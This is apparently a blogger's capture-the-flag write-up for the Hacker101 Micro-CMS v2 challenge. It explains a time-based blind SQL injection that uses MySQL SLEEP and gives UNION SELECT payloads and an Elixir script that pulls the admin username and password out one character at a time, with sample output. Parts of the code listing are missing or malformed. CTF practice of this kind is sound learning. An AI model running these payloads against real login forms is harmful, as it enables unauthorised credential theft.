Update: I’ve realised I don’t necessarily need SLEEP

I have been trying my hand at the Hacker101 CTF challenges.

On Micro-CMS v2 I had successfully extracted Flag 1 using SQL injection but was struggling with Flag 2 with the hints not really helping me out. In search of further hints I came across this write up.

Important to note on this problem is that the server is returning the error messages back to the client and so makes the SQL injection for Flag 1 relatively easy to work out.

Ultimately Flag 2 requires logging in with an actual username and password stored in the database. As you can see the solution is not very obvious at all and difficult to understand, as the author of the article herself points out. Looking into it seems to be a common method of exfiltrating data from MySQL databases where the server is showing the error messages to the client. Indeed the https://dev.to article mentions Burp Suite which seems to have this built in.

Not being satisfied with that answer (because a) I didn’t come up with it b) I didn’t necessarily understand it), I wanted to see if I could come up with a simpler, at least to me, way of doing getting the flag.

Timing attack

My answer was a timing attack.

Using MySQL’s SLEEP, we can time the length that HTTP request take to complete and in doing so, extract various pieces of information.

For example to extract, say, the length of the username we can use:


…if the username is 6 characters long, this request will take around 6 seconds.

To extract the username and password themselves is bit more involved, but it’s relatively straightforward to extract a character at a given position and compare it to a value of our choice.

' UNION SELECT (CASE WHEN SUBSTRING(#{value}, #{index}, 1) = BINARY '#{character}' THEN SLEEP(0) ELSE SLEEP(1) END) FROM admins UNION SELECT '

Then we just try all characters in the charset for each character index and time the responses.

Something else to note, is that whilst this problem is reflecting errors back to the client, the timing attack could be utilised where this is not the case.


For the full code listing see below, but the (Elixir) code has a function hack that we simply pass the url of the Micro-CMS v2 instance and it goes and does its thing.

ex(7)> :timer.tc(fn -> MicroCMSv2.hack("http://<ip_address>/<instance>/login") end)
admins table has 1 rows
username is 6 characters
password is 6 characters
Extracting username
Character 1: h
Character 2: u
Character 3: b
Character 4: e
Character 5: r
Character 6: t
Extracting password
Character 1: w
Character 2: a
Character 3: l
Character 4: t
Character 5: o
Character 6: n
{163983199, :ok}

As you can see it takes around 164 seconds to run, extracting the:

  • number of rows in the admins table as a check
  • username length
  • password length
  • username
  • password

Full code listing

defmodule MicroCMSv2 do
  @width 1
  @headers [
    {"Content-Type", "application/x-www-form-urlencoded"},
    {"Accept", "text/html"}
  @options [recv_timeout: 60_000] # our queries may take longer than the default timeout
  @charset "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"

  def hack(url) do
    admins_row_count = get_number(url, "' UNION SELECT SLEEP(#{@width}*COUNT(*)) FROM admins UNION SELECT '")
    IO.puts "admins table has #{admins_row_count} rows"

    username_length = get_number(url, "' UNION SELECT SLEEP(#{@width}*CHAR_LENGTH(username)) FROM admins UNION SELECT '")
    IO.puts "username is #{username_length} characters"

    password_length = get_number(url, "' UNION SELECT SLEEP(#{@width}*CHAR_LENGTH(password)) FROM admins UNION SELECT '")
    IO.puts "password is #{password_length} characters"

    get_string(url, "username", username_length)
    get_string(url, "password", password_length)

  @doc """
  Get a count (e.g. number of rows, length of a string) from the database
  def get_number(url, query) do
    measure(fn ->
      username =  query
      password = ""
      HTTPoison.post(url, URI.encode_query(%{password: password, username: username}), @headers, @options)

  @doc """
  Extract a string using get_char
  def get_string(url, value, length) do
    IO.puts "Extracting #{value}"
    Enum.each(1..length, fn i ->
      Enum.reduce_while(charset(), nil, fn char, acc ->
        if get_char(url, value, char, i) do
          IO.puts "Character #{i}: #{char}"
          {:halt, char}
          {:cont, acc}

  @doc """
  Returns true if we have character at index by comparing character to
  the character at index i and sleeping for 0 seconds if they're equal
  and 1 second if they are not equal.
  def get_char(url, value, character, index) do
    time =
      measure(fn ->
        username =  "' UNION SELECT (CASE WHEN SUBSTRING(#{value}, #{index}, 1) = BINARY '#{character}' THEN SLEEP(0) ELSE SLEEP(1) END) FROM admins UNION SELECT '"
        password = ""
        HTTPoison.post(url, URI.encode_query(%{password: password, username: username}), @headers, @options)

    time == 0

  @doc """
  Return the number of seconds func took to run
  def measure(func) do
    {usec, _} = :timer.tc(fn ->


  @doc """
  Turn the charset string into a list of characters
  def charset() do
    String.to_charlist(@charset) |> Enum.map(fn c -> List.to_string([c]) end)